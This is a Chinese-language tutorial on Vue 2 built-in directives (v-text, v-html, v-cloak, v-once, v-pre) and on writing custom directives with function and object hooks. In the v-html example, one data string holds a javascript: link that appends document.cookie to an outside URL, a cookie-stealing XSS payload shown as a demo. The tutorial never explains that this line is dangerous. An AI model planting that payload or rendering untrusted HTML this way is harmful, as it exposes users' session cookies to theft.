一、内置指令

1. v-text

和插值语法的效果类似

 <h2>{{name}}</h2><h2 v-text="name">此处v-text绑定的数据替换所有标签内内容</h2>
//vuedata: {name: "xlf",},

注意：不能识别标签数据

 <h2 v-text="name2">不会解析内容</h2>
//vuedata: {name2: "<h3>你好</h3>",},

2.v-html ：解决了v-text不能识别标签语言的缺陷

和插值语法的效果类似

 <div id="root"><h2>{{name}}</h2><h2 v-html="name"></h2><div v-html="name2">解析结构内容</div><div v-html="str2"></div></div>
//vuedata: {name: "xlf",name2: "<h3>你好</h3>",str2: '<a href=javascript:location.href="http://www.baidu.com"+document.cookie>找到目标网址了</a>',},

3. v-clock

当vue引入在html和js脚本前面时候网络延迟会导致页面未解析就会出现在页面

第一种情况：vue引入在页面头部延迟会等待延迟之后再全部展示（js阻塞）

访问本地服务器比较快（没有延迟）

访问远程服务器比较慢（会有延迟）

同样可以通过chrome的开发者工具进行调整

js阻塞：引入js插件，网页内容和脚本，然后插件有延时那么其他内容都不会展示

第二种情况：当vue引入在html-body最下面和脚本前面时候会出现

（先展示内容全部包含插值，当vue介入展示解析后的内容）

解决：上方脚本放在html-body下面先出现未解析问题

解决：指令语法：v-clock 配合css让延迟解析内容先不展示，当vue介入之后再展示并移除了v-clock

当网速过慢：禁止将未解析模板展示到页面
//css<style>[v-cloak] {display: none;}</style>
//html<div id="root"><h2 v-cloak>{{name}}</h2></div>
//引入插件<script src="../vue/vue.js"></script>
//vue解析
<script>Vue.config.production = false;const vm = new Vue({el: "#root",data: {name: "xlf",},});</script>

4.v-once

v-once所在节点初次动态渲染之后就是静态内容了

后面数据改变不会引起 v-once在结构的更新，可以用于优化性能
 <div id="root"><h2 v-once>初始化的n值是{{n}}</h2><h2>当前的n值是{{n}}</h2><button @click="n++">点击+1</button>
</div>
//vueconst vm = new Vue({el: "#root",data: {n: 1,},});

5.v-pre

跳过所在节点被编译，直接展示在页面中

可以利用此指令：跳过没有使用指令或插值语法的节点，加快编译
  <div id="root"><h2 v-pre>Vue很简单</h2><h2 v-once v-pre>初始化的n值是{{n}}</h2><h2>当前的n值是{{n}}</h2><button @click="n++">点击+1</button></div>
//vueconst vm = new Vue({el: "#root",data: {n: 1,},});

二、自定义指令：需要亲自操作DOM指令

引出：定义一个v-big指令，和v-text指令类似，但是会把绑定的数值放大10倍

使用配置项：directive

函数式（真实dom元素，绑定）

当指令元素绑定成功之后就会调用big指令函数

指令所在模板被重新解析时候会重新调用（不论其他数据更改就会解析模板，这时候重新调用指令函数）
  <div id="root"><h2>当前的n值是:<span v-text="n"></span></h2><h2>放大十倍的n值是:<span v-big="n"></span></h2></div>
//vuedata: {n: 1,},directives: {// big函数何时会被调用？、// 1.指令元素成功绑定时候；// 2. 指令所在模板被重新解析时候会重新调用big(element, binding) {// console.log(element, binding);element.innerText = binding.value * 10;}
}

定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点：f标识focus焦点意思（表示既绑定数据，并在页面渲染时候出现焦点获取功能）

对象形式：一般是用在获取焦点或者获取父元素（可以理解为钩子函数）

焦点获取会在元素与指令绑定成功后而不是绑定立即生效（所以需要细分自定义指令的步骤划分：绑定时候、插入页面时候，更新时候）
 <div id="root"><h2>放大十倍的n值是:<span v-big-number="n"></span></h2><button @click="n++">点击+1</button><hr /><input type="text" v-fbind:value="n" /></div>
//vuedata: {n: 1,},directives: {// 注意自定义指令使用的名字也是对象字符串"big-number"(element, binding) {element.innerText = binding.value * 10;console.log("big", this);//注意此处的this属于（window：所有指令的this指向都是window）},// 对象写法：获取焦点，拿到父元素（理解为钩子）// 焦点获取时候会在元素与指令绑定成功后而不是绑定立即生效fbind: {// 绑定时候调用：可以写样式、value值等bind(element, binding) {element.value = binding.value;console.log("fbind-bind", this);},// 插入页面时候调用inserted(element, binding) {element.focus();console.log("fbind-inserted", this);},// 指令所在模板重新解析时候update(element, binding) {console.log("fbind-update", this);// 绑定元素valueelement.value = binding.value;// element.focus();},},},
这里input内还可以在更新数据的时候获取焦点，那就是在updat中添加焦点获取方法，可以通过以上代码查看